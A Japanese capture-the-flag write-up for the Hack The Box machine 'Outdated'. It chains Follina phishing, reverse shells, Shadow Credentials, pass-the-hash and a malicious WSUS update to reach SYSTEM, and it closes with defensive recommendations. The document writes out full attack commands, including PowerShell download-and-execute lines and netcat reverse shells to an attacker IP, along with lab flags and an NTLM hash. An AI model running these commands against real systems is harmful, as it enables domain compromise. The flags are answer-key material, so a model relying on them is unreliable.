Hack The BoxのWriteup(Outdated)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Outdated — 手動攻略・実行結果レポート
Nmap
AD + SMTP + WSUS
匿名SMB
NOC_Reminder.pdf
Follina
CVE-2022-30190
btables shell
Whisker + Rubeus
sflowers NTLM
user.txt
SharpWSUS
malicious update
SYSTEM / root.txt

ホスト名を登録

BASH
sudo sh -c 'echo "10.129.229.239 outdated.htb dc.outdated.htb mail.outdated.htb wsus.outdated.htb" >> /etc/hosts'
DNS解決失敗を避けるため、攻撃の前に全4名を登録する。攻撃者IPは ip -br addr show tun0 で確認し、以下で 10.10.15.201 としている部分を環境に合わせる。

全ポートとサービスの調査

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.229.239
nmap -Pn -sC -sV -p25,53,88,135,139,389,445,636,3268,3269,5985,8530,8531,9389 10.129.229.239
OBSERVED RESULT
25/tcp   open  smtp       hMailServer
53/tcp   open  domain     Simple DNS Plus
88/tcp   open  kerberos   Microsoft Windows Kerberos
389/tcp  open  ldap       Domain: outdated.htb
445/tcp  open  smb
5985/tcp open  winrm
8530/tcp open  wsus-http  (WSUS)
9389/tcp open  adws
ICMP相当の応答が無くても、-Pn なら調査可能。8530/8531はWSUSの強い手がかりになる。
PHASE 2

匿名SMBとNOCメモの調査

共有の列挙とPDFの取得

BASH
smbclient -N -L //10.129.229.239/
smbclient -N //10.129.229.239/Shares
smb: \> ls
smb: \> get NOC_Reminder.pdf
smb: \> exit
pdftotext -layout NOC_Reminder.pdf NOC_Reminder.txt
grep -nEi 'CVE|email|support' NOC_Reminder.txt
FINDING
匿名で Shares 共有を読み取れる。
内部メモは未修正の CVE-2022-30190 (Follina)itsupport@outdated.htb を示している。

SMTPの送信可否を確認

BASH
swaks --server mail.outdated.htb \
  --from car@melo --to itsupport@outdated.htb \
  --body "http://10.10.15.201/"
250 Queued が返ればメールは受理されている。メール処理は不安定なため、後で数回送信する。
PHASE 3

Follinaを利用してbtablesのシェルを取得

ペイロードと配布サーバーの準備

BASH
git clone https://github.com/JohnHammond/msdt-follina.git
cd msdt-follina
# follina.py 内のPowerShell命令で、nc64.exeの取得先とLHOST/LPORTを指定
# Invoke-WebRequest http://10.10.15.201:8000/nc64.exe -OutFile C:\Windows\Tasks\nc.exe;
# C:\Windows\Tasks\nc.exe -e cmd.exe 10.10.15.201 19070
python3 -m http.server 8000   # nc64.exeを置いたディレクトリで実行
python3 follina.py --interface tun0 --port 80 --reverse 19070
Follinaの index.html は4096 bytes以上必要。内部クライアントの到達制限を考慮し、悪性HTMLは80/tcpで配布する。nc64.exeは8000/tcpで分離すると切り分けしやすい。

メール送信とコールバック

BASH
for i in 1 2 3 4 5 6; do
  swaks --server mail.outdated.htb --from car@melo \
    --to itsupport@outdated.htb --body "http://10.10.15.201/"
  sleep 25
done
EXPECTED RESULT
C:\Windows\system32> whoami
outdated\btables
コールバックが無い場合は、①tun0のIP、②80/8000/19070のLISTEN状態、③HTMLサイズ、④ms-msdt:/id のスラッシュ、⑤SMTPの 250 Queued を順番に確認する。
PHASE 4

Shadow Credentialsでsflowersへ横展開

攻撃経路の根拠

プリンシパル権限・所属結果
btablesitstaffグループsflowersに AddKeyCredentialLink
sflowersRemote Management Users / WSUS AdministratorsWinRMログインとWSUS操作

Whiskerで証明書を登録

BTABLES SHELL
powershell
IEX(New-Object Net.WebClient).DownloadString('http://10.10.15.201:8000/Invoke-Whisker.ps1')
Invoke-Whisker -command "add /target:sflowers"
出力中の /certificate:.../password:"..." を保存する。これは sflowers の msDS-KeyCredentialLink に攻撃者の公開鍵を追加した結果である。

RubeusでNTLMハッシュを得る

BTABLES SHELL
iwr http://10.10.15.201:8000/Rubeus.exe -OutFile C:\Windows\Tasks\Rubeus.exe
C:\Windows\Tasks\Rubeus.exe asktgt /user:sflowers \
 /certificate:<WHISKER_CERTIFICATE> /password:"<WHISKER_PASSWORD>" \
 /domain:outdated.htb /dc:dc.outdated.htb /getcredentials /show
VALIDATED CREDENTIAL
sflowers NTLM: 1FCDB1F6015DCB318CC77BB2BDA14DB5

Pass-the-Hashでuser.txtを取得

BASH
evil-winrm -i dc.outdated.htb -u sflowers \
  -H 1FCDB1F6015DCB318CC77BB2BDA14DB5
*Evil-WinRM* PS> whoami /groups
*Evil-WinRM* PS> type C:\Users\sflowers\Desktop\user.txt
user.txt — sflowers@outdated.htb
d28d731ddfc508b64c33723a9d025332
PHASE 5

SharpWSUSでSYSTEMへ権限昇格

WSUS構成を確認

EVIL-WINRM
whoami /groups
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU
dir C:\Users\sflowers\Desktop
OBSERVED RESULT
OUTDATED\WSUS Administrators
WUServer    REG_SZ    http://wsus.outdated.htb:8530
C:\Users\sflowers\Desktop\PsExec64.exe

SharpWSUSとNetcatを配布

BASH / POWERSHELL
# Kali側: PowerSharpPack/PowerSharpBinaries/Invoke-SharpWSUS.ps1とnc64.exeを配布
python3 -m http.server 8000

# sflowers側
iwr http://10.10.15.201:8000/nc64.exe -OutFile C:\Users\sflowers\Desktop\nc64.exe
IEX(iwr http://10.10.15.201:8000/Invoke-SharpWSUS.ps1 -UseBasicParsing)

悪性更新の作成と承認

KALI LISTENER
nc -lvnp 19071
SFLOWERS POWERSHELL
Invoke-SharpWSUS create \
 /payload:"C:\Users\sflowers\Desktop\PsExec64.exe" \
 /args:"-accepteula -s -d C:\Users\sflowers\Desktop\nc64.exe -e cmd.exe 10.10.15.201 19071" \
 /title:"pwned"

# createの出力に現れたGUIDを指定
Invoke-SharpWSUS approve /updateid:<UPDATE-GUID> \
 /computername:dc.outdated.htb /groupname:"pwned"

# 必要に応じて状態確認
Invoke-SharpWSUS check /updateid:<UPDATE-GUID> /computername:dc.outdated.htb
同期とインストールに数分かかる。Update is not installed の間はリスナーを止めず待機する。PsExecの -s により更新ペイロードはSYSTEMとして起動する。

SYSTEMコールバック

OBSERVED RESULT
connect to [10.10.15.201] from [10.129.229.239]
C:\Windows\system32> whoami
nt authority\system
PHASE 6

root.txtの取得

Administratorのフラグを読む

SYSTEM CMD
type C:\Users\Administrator\Desktop\root.txt
root.txt — NT AUTHORITY\SYSTEM
ba51f2200bcbaf4797e3993c6b55ab72
SUMMARY

攻略サマリーと防御策

取得結果

user.txt
d28d731ddfc508b64c33723a9d025332
root.txt
ba51f2200bcbaf4797e3993c6b55ab72

攻撃チェーン

#技術成果
1Nmap / SMB列挙AD、WSUS、匿名Sharesを検出
2CVE-2022-30190btablesのシェル
3Shadow Credentialssflowersの証明書とNTLMハッシュ
4Pass-the-Hash / WinRMuser.txt
5SharpWSUS + PsExecSYSTEMシェルとroot.txt

主な防御策

問題対策
匿名SMBで内部文書が公開匿名アクセスを無効化し、共有のACLと情報分類を監査する。
Follinaに脆弱なOffice/MSDTセキュリティ更新を適用し、外部リンクを自動開封するメール処理を廃止する。
AddKeyCredentialLinkの過剰委任msDS-KeyCredentialLink の更新権限を最小化し、属性変更を監視する。
WSUS AdministratorsとHTTP WSUSグループを最小化し、TLS、パッケージ署名、承認プロセス、WSUS監査ログを強制する。
HackTheBox: Outdated | 完全攻略レポート